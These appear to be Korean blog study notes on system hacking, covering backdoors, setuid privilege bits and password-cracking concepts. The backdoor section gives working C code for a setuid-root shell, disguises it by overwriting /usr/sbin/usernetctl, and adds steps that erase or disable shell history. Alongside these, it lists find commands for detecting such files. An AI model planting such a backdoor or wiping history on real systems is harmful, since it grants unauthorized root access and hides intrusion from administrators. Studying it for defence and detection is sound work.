Backdoor


- 정의

· 시스템 접근에 대한 사용자의 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램이다.

· 해킹 성공 후의 후속조치이다. (크래커)

· 개발 과정 및 원격에서 문제 해결에 필요한 통로이다. (관리자)


- 백도어 종류

· 로컬 백도어

· 원격 백도어

· 원격 GUI 백도어

· 패스워드 크래킹 백도어

· 시스템 설정변경

· 트로이 목마형

· 거짓 업그레이드

· 네트워크 데몬이나 시스템 유틸리티를 수정한 백도어

· TCP/IP 프로토콜을 이용한 Shell binding 백도어

· Kernel 모듈을 수정한 백도어

· 방화벽을 우회하는 백도어


- 로컬 백도어

vi back.c //vi에디터로 back.c 라는 파일을 만듬

#include<stdio.h>

int main (){

        printf("usage: usernetctl <interface-config> <up|down|report>\n");

        setuid(0);

        setgid(0);

        system("/bin/bash");

}

gcc -o back back.c //back.c 소스 코드를 컴파일하고 실행 파일을 빌드

chmod 4755 back //back라는 파일에 권한부여

find / -perm +4000 1> /dev/null //에러값 보기

find / -perm +4000 2> /dev/null //에러값 제외하고 보기

/usr/sbin/usernetctl //필요없는 파일

mv /tmp/back /usr/sbin/usernetctl //back이라는 파일을 usernetctl로 덮어씌워 은닉하기

다른 계정이 /usr/sbin/usernetctl 을 실행 시 root계정으로 바뀐다.

- 은닉 & 탐지

[은닉] -기본 setuid 프로그램 바꿈


[탐지]

1.history //단점 : 시간 기록 X

  history -c //사용한 명령어 내용 지우기


2.find

find / -perm +4000 2>/dev/null

find / -perm +4000 1>/dev/null

-name : 이름을 기준으로 찾는다.

-perm : 퍼미션을 기준으로 찾는다.


3.find / -atime n

-atime : 접근 시간(n일 이전에 접근할 파일을 찾을 때)

->파일을 오픈하면 atime 갱신

-ctime : 변경 시간(n일 이전에 변경된 파일을 찾을 때)

->속성값이 바뀐 시점(퍼미션, 소유주 등 파일의 속성값이 변경)

-mtime : 수정 시간(n일 이전에 수정된 파일을 찾을 때)

->파일의 내용이 바뀌었을 때

-n은 n 이하를 반환

+n은 n 이상을 반환 

find / -ctime -1 -perm +4000 <--24시간 내에 생성된 setuid 파일


.bash_history 찾

find / -name .bash_history //.bash_history 찾기

.bash_history 파일 //각 계정마다 사용했던 명령어들 기록이 있음


.bash_history 링크 걸기

rm -rf .bash_history

ln -s /dev/null .bash_history


.bash_history 생성 X

find / -name /root/.bash_profile(각 계정마다 환경을 설정

export HISTSIZE=0 이나 export HISTFILE=/dev/null


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -2 Setuid  (0) 2016.04.28
SystemHacking -1 Password Cracking  (0) 2016.04.20

SETUID


권한상승


-수치표현

SetUID : 4000

SetGID : 2000

Sticky-bit :1000 (공용 디렉터리) //tmp , 관리자,파일 소유자가 아니면 수정,삭제 불가


- Real User ID (RUID) // RUID = UID , RGID = GID

부모의 User ID와 동일(변경하지 않는 한)

프로세스를 시작하는 사용자를 결정하는데 사용


- Effective User ID (EUID) 

syscall과 실행파일에 Set User ID bit로 설정

프로세스에 대한 권한을 결정한다.


- Saved User ID (SUID)

이전 EUID를 복원할 수 있음


- 권한 변경 syscall

1. setuid : 프로세스의 ruid,euid,suid를 변경한다. 단 호출자가 root가 아닌 경우 euid만 변경한다. ex) setuid(500);

2. seteuid : 프로세스의 euid를 변경한다. ex) seteuid(500);

3. setreuid : 프로세스의 ruid,euid를 변견한다. ex) setreuid(500,500)

4. getuid : 프로세스의 Real UID를 반환한다. ex) getuid();

5. geteuid : 프로세스의 Effective UID를 반환한다. ex) geteuid();


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -3 Backdoor  (0) 2016.04.28
SystemHacking -1 Password Cracking  (0) 2016.04.20

Password Cracking


- 크래킹 : 희생자에게 정신적,물리적 피해를 입히는 행위

- 식별 = ID(유일한 값)


- 인증 = PW(증명, 중복되어도 상관 없음)

  로그인 요청 등을 통해 통신 상에서 보내는 사람들의 자격검증


- 인증 수단 

1. 알고 있는 어떤것 : Password //빈번하게 사용되는 인증 수단

2. 가지고 있는 어떤것 : Credit Card, RFID Card

3. 자신의 어떤것 : 지문, 망막, 음성, 서명

4. 자신이 있는곳 : 위치


- 취약한 패스워드의 분류

1. 길이가 너무 짧거나(4자리 이하) 아예 패스워드가 설정되어 있지 않은 경우

2. 사전에 나오는 단어나 이들의 조합

3. 키보드 자판의 나열

4. 사용자 계정 정보에서 유추한 단어


변수 : 영어(대/소문자),숫자,특수문자

·2가지 변수 -> 10자리 이상 //안전

·3가지 변수 -> 8자리 이상 //안전


- 해시와 암호화
* 운영체제에서 패스워드 숨기는 방법은 해시와 암호화

1. 해시 //한 방향 암호화 , 해시된 문자열은 역해시가 불가능 , 무결성 검사 시 많이 사용
임의의 데이터로 부터 일종의 짧은 문자열로 만들어내는 방법이다.
해시함수는 데이터를 자르고 치환하거나 위치를 바꾸는 등의 방법을 사용해 결과를 만들어내며, 
이 결과를 해시 값이라 한다.

2. 암호화 //양방향 암호화
특별한 지식을 소유한 사람을 제외하고는 누구든지 읽어볼 수 없도록 알고리즘을 이용해 데이터를 전달하는 것이다.
이러한 과정을 통해 암호화된 정보를 생성할 수 있으며, 암호화된 정보는 복호화하여 다시 읽을 수 있다.

- Salt
패스워드는 해시와 암호화 알고리즘으로 변경하여 저장한다.
예를 들어 test1,test2 계정의 패스워드가 1234로 동일할 경우 암호화 및 해시 모두 똑같은 값으로 저장될 것이다.
Salt는 똑같은 패스워드를 숨기기 위한 첨가물이며, 패스워드 크래킹을 어렵게 만드는 보안 강화 기법이다.
리눅스 cat /etc/shadow 에서 확인해보자.
첫번째$ : md5
두번째$ : Salt(Salt값)
세번째$ : Salt+PW

openssl passwd -1 -salt salt값
openssl : 공개 암호화 라이브러리


- 패스워드 크래킹 방법론
1. 사전 대입 공격(Dictionary Attack)
·사용자의 패스워드에 특정 패던이 존재함을 착안
·패스워드로 사용될만한 것들을 사전파일으로 만든 뒤 하나씩 대입
·공격 대상의 개인정보를 안다면 효율적
·용량이 크면 클수록 좋음

2.하이브리드 공격(Hybrid Attack)  
·경험이 높은 사용자의 경우에는 효과가 높지만, 경험이 미비한 사용자의 경우에는 역효과.
단점:추측 잘못한 경우 오래걸림

3. 무작위 대입 공격(Brute Force Attack)
사전 공격 실패 시 사용
영어, 숫자, 특수문자 패턴 중 선택한 패턴과 길이만 선택한 후 모든 가능한 경우의 수로 공격시도
짧은 길이와 단순한 패턴에 효율적
언제가는 뚫리지만 정확히 언제인지는 알 수 없다.관제서비스에서 필터링 되어 질 확률이 높음.
장점:가장정확
단점:오래걸림
4. 레인보우 테이블 공격
패스워드 별로 해시 값을 미리 생성해 놓은 것
크래킹 하고자 하는 값을 테이블에서 검색해서 역으로 패스워드를 찾음
모든 패스워드에 대한 해시 값을 구한다면 용량은 수치화 불가
레인보우 테이블의 핵심은 R(Reduction)함수를 이용해 작은 크기로 줄이는 것에 있음

R함수
해시 테이블은 작은 크기로 줄이기 위함
해시 테이블의 해시 값으로 패스워드 문자열을 만들어 내는 함수
MD5 해시 값 중 앞의 6개 숫자만 뽑아낸다고 가정
MD5 해시 생성과 R함수 동작의 반복을 체인이라 칭함
일반적으로 체인은 몇 천번에 걸쳐 형성


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -3 Backdoor  (0) 2016.04.28
SystemHacking -2 Setuid  (0) 2016.04.28

+ Recent posts